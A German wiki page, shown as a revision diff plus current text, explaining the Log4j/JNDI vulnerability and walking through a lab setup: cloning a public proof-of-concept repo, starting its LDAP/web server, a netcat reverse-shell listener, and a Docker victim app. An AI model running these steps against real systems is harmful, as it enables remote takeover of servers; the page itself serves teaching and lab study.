Log4j: Unterschied zwischen den Versionen

Aus Xinux Wiki
Zur Navigation springen Zur Suche springen
 
(21 dazwischenliegende Versionen von einem anderen Benutzer werden nicht angezeigt)
Zeile 1: Zeile 1:
=Schaubild=
+
=Schaubild Log4j Angriff=
 
{{#drawio:log4j}}
 
{{#drawio:log4j}}
 +
 +
=Wirkungsweise=
 +
==Was ist log4j==
 +
*log4j ist ein Framework zum Loggen von Anwendungsmeldungen in Java.
 +
*Hat es sich über die Jahre zu einem De-facto-Standard entwickelt.
 +
*log4j gilt als Vorreiter für andere Logging-Frameworks, auch in anderen Programmiersprachen.
 +
==Wie funktioniert es==
 +
*Auftretende Fehler und Infomeldungen werden nicht auf der Standardausgabe auszugeben,
 +
*log4j dient dazu, die Meldungen über sogenannte Logger an das gewählte Loggingsystem weiterzuleiten.
 +
*Neben der Auswahl des Loggingsystems gibt es noch die Wichtigkeit („Log-Level“) der Meldung.
 +
*Aufgrund dieser wird entschieden ob überhaupt weitergeleitet wird.
 +
*Der Programmierer muss sich beim Erstellen des Programms nur um die Wichtigkeit der Meldungen Gedanken machen.
 +
*Die Filterung und Art der Ausgabe kann zur Laufzeit konfiguriert werden.
 +
==JNDI==
 +
*Java Naming and Directory Interface (JNDI) ist eine Programmierschnittstelle (API) innerhalb der Programmiersprache Java
 +
*Damit können Namensdienste und Verzeichnisdienste angesprochen werden.
 +
*Mit Hilfe dieser Schnittstelle können Daten und Objektreferenzen anhand eines Namens abgelegt werden.
 +
*Nutzern der Schnittstelle können diese abrufen.
 +
==Der Angriff==
 +
*Man kann nun in ein Formularfeld einen jndi url in Kombination mit einen LDAP Server eingeben.
 +
*Jindi bewirkt das der Ldapserver einen Java-Code erzeugen kann.
 +
*Dieser wird dann zur einer Java-Class kompiliert.
 +
*Am Ende wird auf eine Url verwiesen wo die fertige Java-Class von einem Webserver runtergeladen werden kann.
 +
*Der angegriffene Server lädt diese runter und führt die Java-Class aus.
 +
*Das könnte beispielsweise eine Remote Shell sein.
 +
 
=Proof of Concept=
 
=Proof of Concept=
 +
*Das Proof of Concept stellt einen LDAP und einen WebServer bereit.
 +
*Es wird Java Source Code erzeugt.
 +
*Dieser wird in Java Byte Code übersetzt.
 +
*Er steht dann als Java-Class bereit.
 +
*Er kann von dem Webserver runtergeladen werden
 +
*Es wird mit netcat ein Port geöffnet mit dem sich das "Opfer" per Remote Shell verbindet
 +
*Zum Schluss wird das Opfer "übernommen"
 +
 +
=Installation=
 
*git clone https://github.com/kozmer/log4j-shell-poc
 
*git clone https://github.com/kozmer/log4j-shell-poc
 
*cd log4j-shell-poc
 
*cd log4j-shell-poc
 +
 
=Download und entpacken=
 
=Download und entpacken=
 
*jdk-8u20-linux-x64.tar.gz
 
*jdk-8u20-linux-x64.tar.gz
 
=Starten des LDAP und Webservers=
 
=Starten des LDAP und Webservers=
*python3 poc.py --userip brian.x-men.de  --webport 8000 --lport 4545
+
*python3 poc.py --userip kali --webport 8000 --lport 4545
 
[[Datei:Log4j-1.png]]
 
[[Datei:Log4j-1.png]]
 +
 +
=Remoteshell listining=
 +
*netcat -lp 4545
 
[[Datei:Log4j-2.png]]
 
[[Datei:Log4j-2.png]]
 +
 +
=Beispiel Opfer=
 +
*App starten
 +
=Installation=
 +
*git clone https://github.com/kozmer/log4j-shell-poc
 +
*cd log4j-shell-poc
 +
*docker build -t log4j-shell-poc .
 +
*docker run --network host log4j-shell-poc
 +
 +
=Webseite öffnen=
 +
Auf Port 8080
 +
 +
[[Datei:Log4j-3.png]]
 +
 +
=Exploit=
 +
*Hier erfolgt die Übernahme des Systems
 +
[[Datei:Log4j-4.png]]
  
 
=Exploit=
 
=Exploit=
 
*https://www.exploit-db.com/exploits/50592
 
*https://www.exploit-db.com/exploits/50592

Aktuelle Version vom 14. Februar 2023, 08:07 Uhr

Schaubild Log4j Angriff

Wirkungsweise

Was ist log4j

  • log4j ist ein Framework zum Loggen von Anwendungsmeldungen in Java.
  • Hat es sich über die Jahre zu einem De-facto-Standard entwickelt.
  • log4j gilt als Vorreiter für andere Logging-Frameworks, auch in anderen Programmiersprachen.

Wie funktioniert es

  • Auftretende Fehler und Infomeldungen werden nicht auf der Standardausgabe auszugeben,
  • log4j dient dazu, die Meldungen über sogenannte Logger an das gewählte Loggingsystem weiterzuleiten.
  • Neben der Auswahl des Loggingsystems gibt es noch die Wichtigkeit („Log-Level“) der Meldung.
  • Aufgrund dieser wird entschieden ob überhaupt weitergeleitet wird.
  • Der Programmierer muss sich beim Erstellen des Programms nur um die Wichtigkeit der Meldungen Gedanken machen.
  • Die Filterung und Art der Ausgabe kann zur Laufzeit konfiguriert werden.

JNDI

  • Java Naming and Directory Interface (JNDI) ist eine Programmierschnittstelle (API) innerhalb der Programmiersprache Java
  • Damit können Namensdienste und Verzeichnisdienste angesprochen werden.
  • Mit Hilfe dieser Schnittstelle können Daten und Objektreferenzen anhand eines Namens abgelegt werden.
  • Nutzern der Schnittstelle können diese abrufen.

Der Angriff

  • Man kann nun in ein Formularfeld einen jndi url in Kombination mit einen LDAP Server eingeben.
  • Jindi bewirkt das der Ldapserver einen Java-Code erzeugen kann.
  • Dieser wird dann zur einer Java-Class kompiliert.
  • Am Ende wird auf eine Url verwiesen wo die fertige Java-Class von einem Webserver runtergeladen werden kann.
  • Der angegriffene Server lädt diese runter und führt die Java-Class aus.
  • Das könnte beispielsweise eine Remote Shell sein.

Proof of Concept

  • Das Proof of Concept stellt einen LDAP und einen WebServer bereit.
  • Es wird Java Source Code erzeugt.
  • Dieser wird in Java Byte Code übersetzt.
  • Er steht dann als Java-Class bereit.
  • Er kann von dem Webserver runtergeladen werden
  • Es wird mit netcat ein Port geöffnet mit dem sich das "Opfer" per Remote Shell verbindet
  • Zum Schluss wird das Opfer "übernommen"

Installation

Download und entpacken

  • jdk-8u20-linux-x64.tar.gz

Starten des LDAP und Webservers

  • python3 poc.py --userip kali --webport 8000 --lport 4545

Log4j-1.png

Remoteshell listining

  • netcat -lp 4545

Log4j-2.png

Beispiel Opfer

  • App starten

Installation

Webseite öffnen

Auf Port 8080

Log4j-3.png

Exploit

  • Hier erfolgt die Übernahme des Systems

Log4j-4.png

Exploit